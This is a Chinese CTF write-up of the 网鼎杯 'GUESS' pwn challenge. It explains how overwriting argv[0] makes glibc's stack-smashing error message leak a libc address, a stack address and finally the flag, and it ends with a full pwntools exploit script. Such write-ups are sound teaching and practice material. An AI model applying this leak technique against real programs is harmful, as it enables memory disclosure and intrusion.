网鼎杯pwn之GUESS

做了网鼎杯才发现自己有多菜。。。

拿到题目先ida一波

基本分析

看到了发现了是一个本地加载flag.txt所以有可能可以用stack samsh:详细可以看ctf wiki上的花式栈溢出技巧然后拖入gdb

进行一波checksec

可以发现有了nx栈不可执行这个还好,但是看到了cannary就有点头疼了。。还好有stack smash这个方法可以leak出一些地址然后再leak出栈上的内容 可以看看关于stack smash的源码

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

可以看见只要覆盖了argv这个参数为我们想要的字符串的地址系统就会打印出我们想要的内容,利用这一点就可以有如下思路

漏洞利用

这里我没有说这个就是个简单的栈溢出主要是怎么利用这一块比较难

根据上面的知识可以知道我们要覆盖到argv这个参数就可以输出我们要的参数了,这是利用了canary的报错信息

1、首先leak出puts的地址然后计算出libc的基地址

2.其次leak出环境变量environ来leak出栈上的地址从而leak出flag在栈上的地址

 我的输入是a,然后他距离我要覆盖的地址0x7fffffffde88距离是296就可以知道我要覆盖296,然后在加上我需要打印的地址

这里我们第一步需要的是puts的got表地址

然后利用libc_base和libc.symbol['environ']计算出environ在栈上的地址,然后在gdb中利用b *environ计算其栈地址和flag的栈地址之间的距离然后leak出flag

 然后可以计算出来其偏移值,最后贴出exp

# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
elf = ELF("./GUESS")
libc = elf.libc

p = process('./GUESS')
#p = remote('106.75.90.160', 9999)
gdb.attach(p,'b *0x400a40')
payload = 296*'a'+ p64(0x602020)
p.recvuntil('Please type your guessing flag')
p.sendline(payload)

p.recvuntil('stack smashing detected ***: ')
addr_puts = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
print addr_puts
libc_base = addr_puts - libc.symbols['puts']
environ_addrs = libc_base + libc.symbols['_environ']
payload1 = 296 * 'a' + p64(environ_addrs)

p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
print stack_addr
payload2 = 296 * 'a' + p64(stack_addr-0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.interactive()

猜你喜欢

转载自blog.csdn.net/w12315q/article/details/82227798